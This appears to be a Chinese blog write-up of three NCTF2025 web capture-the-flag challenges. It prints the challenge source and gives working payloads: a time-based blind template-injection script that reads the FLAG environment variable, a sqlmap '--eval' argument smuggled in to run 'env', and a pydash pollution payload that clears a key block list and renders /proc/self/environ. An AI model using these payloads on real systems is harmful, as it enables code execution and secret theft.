NCTF2025-WEB学习

文章摘要

Bpple-GPT

ez_dash

 '''
 Hints: Flag在环境变量中
 '''
 
 
 from typing import Optional
 
 
 import pydash
 import bottle
 
 
 
 __forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
                '__code__', '__defaults__', '__delattr__', '__dict__',
                '__dir__', '__doc__', '__eq__', '__format__',
                '__ge__', '__get__', '__getattribute__',
                '__gt__', '__hash__', '__init__', '__init_subclass__',
                '__kwdefaults__', '__le__', '__lt__', '__module__',
                '__name__', '__ne__', '__new__', '__qualname__',
                '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
                '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
                "Optional","func","render",
                ]
 __forbidden_name__=[
     "bottle"
 ]
 __forbidden_name__.extend(dir(globals()["__builtins__"]))
 
 def setval(name:str, path:str, value:str)-> Optional[bool]:
     if name.find("__")>=0: return False
     for word in __forbidden_name__:
         if name==word:
             return False
     for word in __forbidden_path__:
         if path.find(word)>=0: return False
     obj=globals()[name]
     try:
         pydash.set_(obj,path,value)
     except:
         return False
     return True
 
 @bottle.post('/setValue')
 def set_value():
     name = bottle.request.query.get('name')
     path=bottle.request.json.get('path')
     if not isinstance(path,str):
         return "no"
     if len(name)>6 or len(path)>32:
         return "no"
     value=bottle.request.json.get('value')
     return "yes" if setval(name, path, value) else "no"
 
 @bottle.get('/render')
 def render_template():
     path=bottle.request.query.get('path')
     if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
         return "Hacker"
     return bottle.template(path)
 bottle.run(host='0.0.0.0', port=8000)

如下:

就是利用时间盲注给带出来,因为渲染结果出不来

import requests
import time

url = ""

bet = "abcdefghijklmnopqrstuvwxyz0123456789_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

flag = "flag{"

while 1:
    for i in bet:
        start_at = time.time()
        response = requests.get(url, params={
            "path": f"<% import os; import time; getattr(time, 'sleep')(3) if getattr(os, 'environ')['FLAG'][{len(flag)}] == '{i}' else None %>"
        })
        ended_at = time.time()
        if ended_at - start_at > 3:
            flag += i
            print(flag)

 

sql-master

 from fastapi import FastAPI, Request
 from fastapi.responses import FileResponse, StreamingResponse
 import subprocess
 
 app = FastAPI()
 
 @app.get("/")
 async def index():
     return FileResponse("index.html")
 
 @app.post("/run")
 async def run(request: Request):
     data = await request.json()
     url = data.get("url")
     
     if not url:
         return {"error": "URL is required"}
     
     command = f'sqlmap -u {url} --batch --flush-session'
 
     def generate():
         process = subprocess.Popen(
             command.split(),
             stdout=subprocess.PIPE,
             stderr=subprocess.STDOUT,
             shell=False
         )
         
         while True:
             output = process.stdout.readline()
             if output == '' and process.poll() is not None:
                 break
             if output:
                 yield output
     
     return StreamingResponse(generate(), media_type="text/plain")

没想到这个网站有这个trick...

sqlmap 可以执行 Python 命令

 http://127.0.0.1 --eval=__import__("os").system("env")

最后拿到 flag

ez_dash_revenge

题目给的附件如下,相比于第一个添加了对非预期进行过滤

 '''
 Hints: Flag在环境变量中
 '''
 
 
 from typing import Optional
 
 
 import pydash
 import bottle
 
 
 
 __forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
                     '__code__', '__defaults__', '__delattr__', '__dict__',
                     '__dir__', '__doc__', '__eq__', '__format__',
                     '__ge__', '__get__', '__getattribute__',
                     '__gt__', '__hash__', '__init__', '__init_subclass__',
                     '__kwdefaults__', '__le__', '__lt__', '__module__',
                     '__name__', '__ne__', '__new__', '__qualname__',
                     '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
                     '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
                     "Optional","render"
                    ]
 __forbidden_name__=[
     "bottle"
 ]
 __forbidden_name__.extend(dir(globals()["__builtins__"]))
 
 def setval(name:str, path:str, value:str)-> Optional[bool]:
     if name.find("__")>=0: return False
     for word in __forbidden_name__:
         if name==word:
             return False
     for word in __forbidden_path__:
         if path.find(word)>=0: return False
     obj=globals()[name]
     try:
         pydash.set_(obj,path,value)
     except:
         return False
     return True
 
 @bottle.post('/setValue')
 def set_value():
     name = bottle.request.query.get('name')
     path=bottle.request.json.get('path')
     if not isinstance(path,str):
         return "no"
     if len(name)>6 or len(path)>32:
         return "no"
     value=bottle.request.json.get('value')
     return "yes" if setval(name, path, value) else "no"
 
 @bottle.get('/render')
 def render_template():
     path=bottle.request.query.get('path')
     if len(path)>10:
         return "hacker"
     blacklist=["{","}",".","%","<",">","_"] 
     for c in path:
         if c in blacklist:
             return "hacker"
     return bottle.template(path)
 bottle.run(host='0.0.0.0', port=8000)

相比之下

 @bottle.get('/render')
 def render_template():
     path=bottle.request.query.get('path')
     if len(path)>10:
         return "hacker"
     blacklist=["{","}",".","%","<",">","_"]
     for c in path:
         if c in blacklist:
             return "hacker"
     return bottle.template(path)
 bottle.run(host='0.0.0.0', port=8000)

render路由只是负责渲染路由了,我们这一次不能尝试盲注出来了

基本思路是利用

 def setval(name:str, path:str, value:str)-> Optional[bool]:
     if name.find("__")>=0: return False
     for word in __forbidden_name__:
         if name==word:
             return False
     for word in __forbidden_path__:
         if path.find(word)>=0: return False
     obj=globals()[name]
     try:
         pydash.set_(obj,path,value)
     except:
         return False
     return True
 
 @bottle.post('/setValue')
 def set_value():
     name = bottle.request.query.get('name')
     path=bottle.request.json.get('path')
     if not isinstance(path,str):
         return "no"
     if len(name)>6 or len(path)>32:
         return "no"
     value=bottle.request.json.get('value')
     return "yes" if setval(name, path, value) else "no"

由于过滤了很多,我们首先是把过滤给干掉

 {
   "path": "helpers.RESTRICTED_KEYS",
     "value": [
       ]
 }

没有过滤就可以操作了

然后修改网站路径由于题目说是 flag 在环境变量,所以我们将模板路径设置在 proc/self这里试出来试五层

最后访问 /render?path=environ就可以看到,把结果渲染出来


用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

550
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计